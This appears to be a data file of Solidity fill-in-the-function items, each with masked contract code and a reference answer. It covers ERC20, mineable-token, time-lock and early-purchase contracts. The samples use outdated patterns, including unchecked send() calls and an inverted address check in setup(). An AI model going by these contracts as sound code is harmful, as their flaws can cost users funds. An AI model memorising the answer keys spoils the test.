contract Humott is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract Humott is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "HUMOTT"; name = "HUMOTT Membership Token"; decimals = 18; _totalSupply = 500000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
59771
_yLandToken
mint
contract _yLandToken is ERC918Interface, Owned { using SafeMath for uint; using ExtendedMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public latestDifficultyPeriodStarted; uint public epochCount;//number of 'blocks' mined uint public _BLOCKS_PER_READJUSTMENT = 200; //a little number uint public _MINIMUM_TARGET = 2**16; //a big number is easier ; just find a solution that is smaller //uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224 uint public _MAXIMUM_TARGET = 2**234; uint public miningTarget; bytes32 public challengeNumber; //generate a new one when a new reward is minted uint public rewardEra; uint public maxSupplyForEra; address public lastRewardTo; uint public lastRewardAmount; uint public lastRewardEthBlockNumber; bool locked = false; mapping(bytes32 => bytes32) solutionForChallenge; uint public tokensMinted; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function _yLandToken() public onlyOwner{ symbol = "YLD"; name = "yLand Token"; decimals = 18; _totalSupply = 10000 * 10**uint(decimals); if(locked) revert(); locked = true; tokensMinted = 0; rewardEra = 0; maxSupplyForEra = _totalSupply.div(2); miningTarget = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.number; _startNewMiningEpoch(); //The owner gets nothing! You must mine this ERC20 token //balances[owner] = _totalSupply; //Transfer(address(0), owner, _totalSupply); } function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {<FILL_FUNCTION_BODY> } //a new 'block' to be mined function _startNewMiningEpoch() internal { //if max supply for the era will be exceeded next reward round then enter the new era before that happens //40 is the final reward era, almost all tokens minted //once the final era is reached, more tokens will not be given out because the assert function if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39) { rewardEra = rewardEra + 1; } //set the next minted supply at which the era will change // total supply is 10000000000000000000000 because of 18 decimal places maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1)); epochCount = epochCount.add(1); //every so often, readjust difficulty. Dont readjust when deploying if(epochCount % _BLOCKS_PER_READJUSTMENT == 0) { _reAdjustDifficulty(); } //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = block.blockhash(block.number - 1); } //https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F //as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days //readjust the target by 5 percent function _reAdjustDifficulty() internal { uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted; //assume 360 ethereum blocks per hour //we want miners to spend 120 seconds to mine each 'block', about 12 ethereum blocks = one yLand epoch uint epochsMined = _BLOCKS_PER_READJUSTMENT; //200 uint targetEthBlocksPerDiffPeriod = epochsMined * 12; //should be 12 times slower than ethereum //if there were less eth blocks passed in time than expected if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod ) { uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod ); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000); // If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100. //make it harder miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 % }else{ uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod ); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000 //make it easier miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 % } latestDifficultyPeriodStarted = block.number; if(miningTarget < _MINIMUM_TARGET) //very difficult { miningTarget = _MINIMUM_TARGET; } if(miningTarget > _MAXIMUM_TARGET) //very easy { miningTarget = _MAXIMUM_TARGET; } } //this is a recent ethereum block hash, used to prevent pre-mining future blocks function getChallengeNumber() public constant returns (bytes32) { return challengeNumber; } //the number of zeroes the digest of the PoW solution requires. Auto adjusts function getMiningDifficulty() public constant returns (uint) { return _MAXIMUM_TARGET.div(miningTarget); } function getMiningTarget() public constant returns (uint) { return miningTarget; } //10,000 coins total //reward begins at 1 and is cut in half every reward era (as tokens are mined) function getMiningReward() public constant returns (uint) { //once we get half way thru the coins, only get 0.5 per block //every reward era, the reward amount halves. return (1 * 10**uint(decimals) ).div( 2**rewardEra ) ; } //help debug mining software function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); return digest; } //help debug mining software function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); if(uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC918Interface(tokenAddress).transfer(owner, tokens); } }
contract _yLandToken is ERC918Interface, Owned { using SafeMath for uint; using ExtendedMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public latestDifficultyPeriodStarted; uint public epochCount;//number of 'blocks' mined uint public _BLOCKS_PER_READJUSTMENT = 200; //a little number uint public _MINIMUM_TARGET = 2**16; //a big number is easier ; just find a solution that is smaller //uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224 uint public _MAXIMUM_TARGET = 2**234; uint public miningTarget; bytes32 public challengeNumber; //generate a new one when a new reward is minted uint public rewardEra; uint public maxSupplyForEra; address public lastRewardTo; uint public lastRewardAmount; uint public lastRewardEthBlockNumber; bool locked = false; mapping(bytes32 => bytes32) solutionForChallenge; uint public tokensMinted; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function _yLandToken() public onlyOwner{ symbol = "YLD"; name = "yLand Token"; decimals = 18; _totalSupply = 10000 * 10**uint(decimals); if(locked) revert(); locked = true; tokensMinted = 0; rewardEra = 0; maxSupplyForEra = _totalSupply.div(2); miningTarget = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.number; _startNewMiningEpoch(); //The owner gets nothing! You must mine this ERC20 token //balances[owner] = _totalSupply; //Transfer(address(0), owner, _totalSupply); } <FILL_FUNCTION> //a new 'block' to be mined function _startNewMiningEpoch() internal { //if max supply for the era will be exceeded next reward round then enter the new era before that happens //40 is the final reward era, almost all tokens minted //once the final era is reached, more tokens will not be given out because the assert function if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39) { rewardEra = rewardEra + 1; } //set the next minted supply at which the era will change // total supply is 10000000000000000000000 because of 18 decimal places maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1)); epochCount = epochCount.add(1); //every so often, readjust difficulty. Dont readjust when deploying if(epochCount % _BLOCKS_PER_READJUSTMENT == 0) { _reAdjustDifficulty(); } //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = block.blockhash(block.number - 1); } //https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F //as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days //readjust the target by 5 percent function _reAdjustDifficulty() internal { uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted; //assume 360 ethereum blocks per hour //we want miners to spend 120 seconds to mine each 'block', about 12 ethereum blocks = one yLand epoch uint epochsMined = _BLOCKS_PER_READJUSTMENT; //200 uint targetEthBlocksPerDiffPeriod = epochsMined * 12; //should be 12 times slower than ethereum //if there were less eth blocks passed in time than expected if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod ) { uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod ); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000); // If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100. //make it harder miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 % }else{ uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod ); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000 //make it easier miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 % } latestDifficultyPeriodStarted = block.number; if(miningTarget < _MINIMUM_TARGET) //very difficult { miningTarget = _MINIMUM_TARGET; } if(miningTarget > _MAXIMUM_TARGET) //very easy { miningTarget = _MAXIMUM_TARGET; } } //this is a recent ethereum block hash, used to prevent pre-mining future blocks function getChallengeNumber() public constant returns (bytes32) { return challengeNumber; } //the number of zeroes the digest of the PoW solution requires. Auto adjusts function getMiningDifficulty() public constant returns (uint) { return _MAXIMUM_TARGET.div(miningTarget); } function getMiningTarget() public constant returns (uint) { return miningTarget; } //10,000 coins total //reward begins at 1 and is cut in half every reward era (as tokens are mined) function getMiningReward() public constant returns (uint) { //once we get half way thru the coins, only get 0.5 per block //every reward era, the reward amount halves. return (1 * 10**uint(decimals) ).div( 2**rewardEra ) ; } //help debug mining software function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); return digest; } //help debug mining software function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); if(uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC918Interface(tokenAddress).transfer(owner, tokens); } }
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks bytes32 digest = keccak256(challengeNumber, msg.sender, nonce ); //the challenge digest must match the expected if (digest != challenge_digest) revert(); //the digest must be smaller than the target if(uint256(digest) > miningTarget) revert(); //only allow one reward for each challenge bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if(solution != 0x0) revert(); //prevent the same answer from awarding twice uint reward_amount = getMiningReward(); balances[msg.sender] = balances[msg.sender].add(reward_amount); tokensMinted = tokensMinted.add(reward_amount); //Cannot mint more tokens than there are assert(tokensMinted <= maxSupplyForEra); //set readonly diagnostics data lastRewardTo = msg.sender; lastRewardAmount = reward_amount; lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); Mint(msg.sender, reward_amount, epochCount, challengeNumber ); return true;
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success)
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success)
51238
TimeBank
depositFunds
contract TimeBank { struct Holder { uint fundsDeposited; uint withdrawTime; } mapping (address => Holder) holders; function getInfo() constant returns(uint,uint,uint){ return(holders[msg.sender].fundsDeposited,holders[msg.sender].withdrawTime,block.timestamp); } function depositFunds(uint _withdrawTime) payable returns (uint _fundsDeposited){<FILL_FUNCTION_BODY> } function withdrawFunds() { require(holders[msg.sender].withdrawTime < block.timestamp); //throws error if current time is before the designated withdrawTime uint funds = holders[msg.sender].fundsDeposited; // separates the funds into a separate variable, so user can still withdraw after the struct is updated holders[msg.sender].fundsDeposited = 0; // adjusts recorded eth deposit before funds are returned holders[msg.sender].withdrawTime = 0; // clears withdrawTime to allow future deposits msg.sender.transfer(funds); //sends ether to msg.sender if they have funds held } }
contract TimeBank { struct Holder { uint fundsDeposited; uint withdrawTime; } mapping (address => Holder) holders; function getInfo() constant returns(uint,uint,uint){ return(holders[msg.sender].fundsDeposited,holders[msg.sender].withdrawTime,block.timestamp); } <FILL_FUNCTION> function withdrawFunds() { require(holders[msg.sender].withdrawTime < block.timestamp); //throws error if current time is before the designated withdrawTime uint funds = holders[msg.sender].fundsDeposited; // separates the funds into a separate variable, so user can still withdraw after the struct is updated holders[msg.sender].fundsDeposited = 0; // adjusts recorded eth deposit before funds are returned holders[msg.sender].withdrawTime = 0; // clears withdrawTime to allow future deposits msg.sender.transfer(funds); //sends ether to msg.sender if they have funds held } }
//requires Ether to be sent, and _withdrawTime to be in future but no more than 5 years require(msg.value > 0 && _withdrawTime > block.timestamp && _withdrawTime < block.timestamp + 157680000); //increments value in case holder deposits more than once, but won't update the original withdrawTime in case caller wants to change the 'future withdrawTime' to a much closer time but still future time if (!(holders[msg.sender].withdrawTime > 0)) holders[msg.sender].withdrawTime = _withdrawTime; holders[msg.sender].fundsDeposited += msg.value; return msg.value;
function depositFunds(uint _withdrawTime) payable returns (uint _fundsDeposited)
function depositFunds(uint _withdrawTime) payable returns (uint _fundsDeposited)
13532
SYCEarlyPurchase
withdrawAll
contract SYCEarlyPurchase { /* * Properties */ string public constant PURCHASE_AMOUNT_UNIT = 'ETH'; // Ether uint public constant WEI_MINIMUM_PURCHASE = 40 * 10 ** 18; uint public constant WEI_MAXIMUM_EARLYPURCHASE = 7000 * 10 ** 18; address public owner; EarlyPurchase[] public earlyPurchases; uint public earlyPurchaseClosedAt; uint public totalEarlyPurchaseRaised; address public sycCrowdsale; /* * Types */ struct EarlyPurchase { address purchaser; uint amount; // Amount in Wei( = 1/ 10^18 Ether) uint purchasedAt; // timestamp } /* * Modifiers */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } modifier onlyEarlyPurchaseTerm() { if (earlyPurchaseClosedAt > 0) { throw; } _; } /// @dev Contract constructor function function SYCEarlyPurchase() { owner = msg.sender; } /* * Contract functions */ /// @dev Returns early purchased amount by purchaser's address /// @param purchaser Purchaser address function purchasedAmountBy(address purchaser) external constant returns (uint amount) { for (uint i; i < earlyPurchases.length; i++) { if (earlyPurchases[i].purchaser == purchaser) { amount += earlyPurchases[i].amount; } } } /// @dev Setup function sets external contracts' addresses. /// @param _sycCrowdsale SYC token crowdsale address. function setup(address _sycCrowdsale) external onlyOwner returns (bool) { if (address(_sycCrowdsale) == 0) { sycCrowdsale = _sycCrowdsale; return true; } return false; } /// @dev Returns number of early purchases function numberOfEarlyPurchases() external constant returns (uint) { return earlyPurchases.length; } /// @dev Append an early purchase log /// @param purchaser Purchaser address /// @param amount Purchase amount /// @param purchasedAt Timestamp of purchased date function appendEarlyPurchase(address purchaser, uint amount, uint purchasedAt) internal onlyEarlyPurchaseTerm returns (bool) { if (purchasedAt == 0 || purchasedAt > now) { throw; } if(totalEarlyPurchaseRaised + amount >= WEI_MAXIMUM_EARLYPURCHASE){ purchaser.send(totalEarlyPurchaseRaised + amount - WEI_MAXIMUM_EARLYPURCHASE); earlyPurchases.push(EarlyPurchase(purchaser, WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised, purchasedAt)); totalEarlyPurchaseRaised += WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised; } else{ earlyPurchases.push(EarlyPurchase(purchaser, amount, purchasedAt)); totalEarlyPurchaseRaised += amount; } if(totalEarlyPurchaseRaised >= WEI_MAXIMUM_EARLYPURCHASE){ earlyPurchaseClosedAt = now; } return true; } /// @dev Close early purchase term function closeEarlyPurchase() onlyOwner returns (bool) { earlyPurchaseClosedAt = now; } function withdraw(uint withdrawalAmount) onlyOwner { if(!owner.send(withdrawalAmount)) throw; // send collected ETH to SynchroLife team } function withdrawAll() onlyOwner {<FILL_FUNCTION_BODY> } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } /// @dev By sending Ether to the contract, early purchase will be recorded. function () payable{ require(msg.value >= WEI_MINIMUM_PURCHASE); appendEarlyPurchase(msg.sender, msg.value, block.timestamp); } }
contract SYCEarlyPurchase { /* * Properties */ string public constant PURCHASE_AMOUNT_UNIT = 'ETH'; // Ether uint public constant WEI_MINIMUM_PURCHASE = 40 * 10 ** 18; uint public constant WEI_MAXIMUM_EARLYPURCHASE = 7000 * 10 ** 18; address public owner; EarlyPurchase[] public earlyPurchases; uint public earlyPurchaseClosedAt; uint public totalEarlyPurchaseRaised; address public sycCrowdsale; /* * Types */ struct EarlyPurchase { address purchaser; uint amount; // Amount in Wei( = 1/ 10^18 Ether) uint purchasedAt; // timestamp } /* * Modifiers */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } modifier onlyEarlyPurchaseTerm() { if (earlyPurchaseClosedAt > 0) { throw; } _; } /// @dev Contract constructor function function SYCEarlyPurchase() { owner = msg.sender; } /* * Contract functions */ /// @dev Returns early purchased amount by purchaser's address /// @param purchaser Purchaser address function purchasedAmountBy(address purchaser) external constant returns (uint amount) { for (uint i; i < earlyPurchases.length; i++) { if (earlyPurchases[i].purchaser == purchaser) { amount += earlyPurchases[i].amount; } } } /// @dev Setup function sets external contracts' addresses. /// @param _sycCrowdsale SYC token crowdsale address. function setup(address _sycCrowdsale) external onlyOwner returns (bool) { if (address(_sycCrowdsale) == 0) { sycCrowdsale = _sycCrowdsale; return true; } return false; } /// @dev Returns number of early purchases function numberOfEarlyPurchases() external constant returns (uint) { return earlyPurchases.length; } /// @dev Append an early purchase log /// @param purchaser Purchaser address /// @param amount Purchase amount /// @param purchasedAt Timestamp of purchased date function appendEarlyPurchase(address purchaser, uint amount, uint purchasedAt) internal onlyEarlyPurchaseTerm returns (bool) { if (purchasedAt == 0 || purchasedAt > now) { throw; } if(totalEarlyPurchaseRaised + amount >= WEI_MAXIMUM_EARLYPURCHASE){ purchaser.send(totalEarlyPurchaseRaised + amount - WEI_MAXIMUM_EARLYPURCHASE); earlyPurchases.push(EarlyPurchase(purchaser, WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised, purchasedAt)); totalEarlyPurchaseRaised += WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised; } else{ earlyPurchases.push(EarlyPurchase(purchaser, amount, purchasedAt)); totalEarlyPurchaseRaised += amount; } if(totalEarlyPurchaseRaised >= WEI_MAXIMUM_EARLYPURCHASE){ earlyPurchaseClosedAt = now; } return true; } /// @dev Close early purchase term function closeEarlyPurchase() onlyOwner returns (bool) { earlyPurchaseClosedAt = now; } function withdraw(uint withdrawalAmount) onlyOwner { if(!owner.send(withdrawalAmount)) throw; // send collected ETH to SynchroLife team } <FILL_FUNCTION> function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } /// @dev By sending Ether to the contract, early purchase will be recorded. function () payable{ require(msg.value >= WEI_MINIMUM_PURCHASE); appendEarlyPurchase(msg.sender, msg.value, block.timestamp); } }
if(!owner.send(this.balance)) throw; // send all collected ETH to SynchroLife team
function withdrawAll() onlyOwner
function withdrawAll() onlyOwner
56860
PRVTToken
approveAndCall
